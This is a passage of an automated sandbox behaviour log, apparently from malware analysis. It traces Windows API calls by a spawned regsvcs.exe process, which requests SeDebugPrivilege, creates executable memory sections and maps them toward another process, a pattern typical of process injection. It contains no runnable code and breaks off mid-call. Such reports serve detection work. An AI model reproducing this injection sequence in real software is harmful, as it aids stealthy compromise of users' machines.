[75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0079.340] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.340] ResumeThread (hThread=0x10c) returned 0x1 [0079.341] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 1 [0079.341] TranslateMessage (lpMsg=0x5ef4cc) returned 0 [0079.341] DispatchMessageW (lpMsg=0x5ef4cc) returned 0x0 [0079.341] KillTimer (hWnd=0x30264, uIDEvent=0x1) returned 1 [0079.341] SetTimer (hWnd=0x30264, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0079.341] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0079.350] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.408] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.408] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.408] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.408] PeekMessageW (in: lpMsg=0x5ef80c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef80c) returned 0 [0079.408] Sleep (dwMilliseconds=0xa) [0079.432] timeGetTime () returned 0x21ea6 [0079.432] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.434] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0079.434] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0079.434] LockWindowUpdate (hWndLock=0x0) returned 0 [0079.434] DestroyWindow (hWnd=0x30264) returned 1 [0079.434] NtdllDefWindowProc_W () returned 0x0 [0079.435] KillTimer (hWnd=0x30264, uIDEvent=0x1) returned 1 [0079.435] PostQuitMessage (nExitCode=0) [0079.435] GetMessageW (in: lpMsg=0x5efdb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x5efdb4) returned 0 [0079.444] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0079.444] FreeLibrary (hLibModule=0x75390000) returned 1 [0079.444] OleUninitialize () [0079.446] DestroyCursor (hCursor=0x16022f) returned 0 Process: id = "9" image_name = "regsvcs.exe" filename = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe" page_root = "0x409b5000" os_pid = "0xbd8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xbd0" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\"" cur_dir = "C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1693 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1694 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1695 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1696 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1697 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1698 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1699 start_va = 0x190000 end_va = 0x19dfff entry_point = 0x190000 region_type = mapped_file name = "regsvcs.exe" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe") Region: id = 1700 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1701 start_va = 0x400000 end_va = 0x429fff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1702 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1703 start_va = 0x777c0000 end_va = 0x7793ffff entry_point = 0x777c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1704 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1705 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1706 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1707 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1708 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1709 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1710 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1711 start_va = 0x4a0000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1712 start_va = 0x750d0000 end_va = 0x7512bfff entry_point = 0x750d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1713 start_va = 0x75240000 end_va = 0x7527efff entry_point = 0x75240000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1714 start_va = 0x752d0000 end_va = 0x752d7fff entry_point = 0x752d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1715 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1716 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1717 start_va = 0x590000 end_va = 0x68ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1718 start_va = 0x76110000 end_va = 0x76155fff entry_point = 0x76110000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1719 start_va = 0x76540000 end_va = 0x7664ffff entry_point = 0x76540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1720 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x0 region_type = private name = "private_0x00000000773c0000" filename = "" Region: id = 1721 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x0 region_type = private name = "private_0x00000000774e0000" filename = "" Region: id = 1722 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1723 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1724 start_va = 0x690000 end_va = 0x7cbfff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1733 start_va = 0x7d0000 end_va = 0x950fff entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 1734 start_va = 0x960000 end_va = 0xc62fff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1735 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1736 start_va = 0x75390000 end_va = 0x7542ffff entry_point = 0x75390000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1737 start_va = 0x75c00000 end_va = 0x75cabfff entry_point = 0x75c00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1738 start_va = 0x759f0000 end_va = 0x75a08fff entry_point = 0x759f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1739 start_va = 0x758f0000 end_va = 0x759dffff entry_point = 0x758f0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1740 start_va = 0x75320000 end_va = 0x7537ffff entry_point = 0x75320000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1741 start_va = 0x75310000 end_va = 0x7531bfff entry_point = 0x75310000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1742 start_va = 0x1a0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1743 start_va = 0x140000 end_va = 0x169fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1744 start_va = 0x390000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1745 start_va = 0x6d0000 end_va = 0x7cffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 1746 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1747 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1748 start_va = 0x7d0000 end_va = 0x8b6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 2141 start_va = 0x70000 end_va = 0x83fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2142 start_va = 0x170000 end_va = 0x183fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2143 start_va = 0x76380000 end_va = 0x7647ffff entry_point = 0x76380000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2144 start_va = 0x755d0000 end_va = 0x7565ffff entry_point = 0x755d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2145 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x75510000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2146 start_va = 0x75b60000 end_va = 0x75bfcfff entry_point = 0x75b60000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2147 start_va = 0x1a0000 end_va = 0x1bdfff entry_point = 0x1a0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2148 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2149 start_va = 0xc70000 end_va = 0xdf7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 2150 start_va = 0x1a0000 end_va = 0x1bdfff entry_point = 0x1a0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2151 start_va = 0x75cb0000 end_va = 0x75d0ffff entry_point = 0x75cb0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2152 start_va = 0x75430000 end_va = 0x754fbfff entry_point = 0x75430000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2153 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2154 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2155 start_va = 0xe00000 end_va = 0xf80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 2156 start_va = 0xf90000 end_va = 0x238ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 2212 start_va = 0x1b0000 end_va = 0x1d9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 2214 start_va = 0x20000 end_va = 0x24fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Thread: id = 106 os_tid = 0xbdc [0079.395] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x37ea7c | out: HeapArray=0x37ea7c*=0x590000) returned 0x1 [0079.401] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\SysWOW64\\ntdll.dll", NtPathName=0x37ea2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0079.403] NtCreateFile (in: FileHandle=0x37ea4c, DesiredAccess=0x120089, ObjectAttributes=0x37ea14*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x37ea34, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x37ea4c*=0x20, IoStatusBlock=0x37ea34*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0079.414] NtQueryInformationFile (in: FileHandle=0x20, IoStatusBlock=0x37ea34, FileInformation=0x37e98c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x37ea34, FileInformation=0x37e98c) returned 0x0 [0080.182] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x37ea60, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x37ea60, ResultLength=0x0) returned 0x0 [0080.185] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x37ea84, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x37ea84, ReturnLength=0x0) returned 0x0 [0080.198] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37e714*=0x0, ZeroBits=0x0, RegionSize=0x37e718*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x37e714*=0x20000, RegionSize=0x37e718*=0x10000) returned 0x0 [0080.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20000, ResultLength=0x0) returned 0x0 [0080.212] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x37ea74*=0x20000, RegionSize=0x37ea78, FreeType=0x8000) returned 0x0 [0080.221] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x37e830 | out: Value="aETAdzjz") returned 0x0 [0080.221] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32.dll", BaseAddress=0x37e8a0 | out: BaseAddress=0x37e8a0*=0x75390000) returned 0x0 [0080.231] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x37ea8c | out: TokenHandle=0x37ea8c*=0x3c) returned 0x0 [0080.236] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x37ea80 | out: lpLuid=0x37ea80*(LowPart=0x14, HighPart=0)) returned 1 [0080.240] NtAdjustPrivilegesToken (in: TokenHandle=0x3c, DisableAllPrivileges=0, NewState=0x37ea7c, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x106 [0080.241] NtClose (Handle=0x3c) returned 0x0 [0080.242] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x37e058 | out: Value="aETAdzjz") returned 0x0 [0080.250] RtlSetEnvironmentVariable (in: Environment=0x0, Name="598MPR44", Value="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe" | out: Environment=0x0) returned 0x0 [0080.252] NtCreateSection (in: SectionHandle=0x37e558, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x37e2f8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x37e558*=0x3c) returned 0x0 [0080.254] NtMapViewOfSection (in: SectionHandle=0x3c, ProcessHandle=0xffffffff, BaseAddress=0x37e55c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x37e2f8*=0x29c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x37e55c*=0x140000, SectionOffset=0x0, ViewSize=0x37e2f8*=0x2a000) returned 0x0 [0080.256] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37dc60*=0x0, ZeroBits=0x0, RegionSize=0x37dc64*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x37dc60*=0x20000, RegionSize=0x37dc64*=0x10000) returned 0x0 [0080.256] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20000, ResultLength=0x0) returned 0x0 [0080.259] NtOpenProcess (in: ProcessHandle=0x37e2b4, DesiredAccess=0x438, ObjectAttributes=0x37e2d4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x37e2a8*(UniqueProcess=0x460, UniqueThread=0x0) | out: ProcessHandle=0x37e2b4*=0x84) returned 0x0 [0080.259] NtQueryInformationProcess (in: ProcessHandle=0x84, ProcessInformationClass=0x1a, ProcessInformation=0x37dfc0, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x37dfc0, ReturnLength=0x0) returned 0x0 [0080.259] NtCreateSection (in: SectionHandle=0x37dc5c, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x37dc1c, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x37dc5c*=0x88) returned 0x0 [0080.259] NtMapViewOfSection (in: SectionHandle=0x88, ProcessHandle=0xffffffff, BaseAddress=0x37dc64*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x37dc1c*=0xe6c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x37dc64*=0x7d0000, SectionOffset=0x0, ViewSize=0x37dc1c*=0xe7000) returned 0x0 [0080.259] NtMapViewOfSection (in: 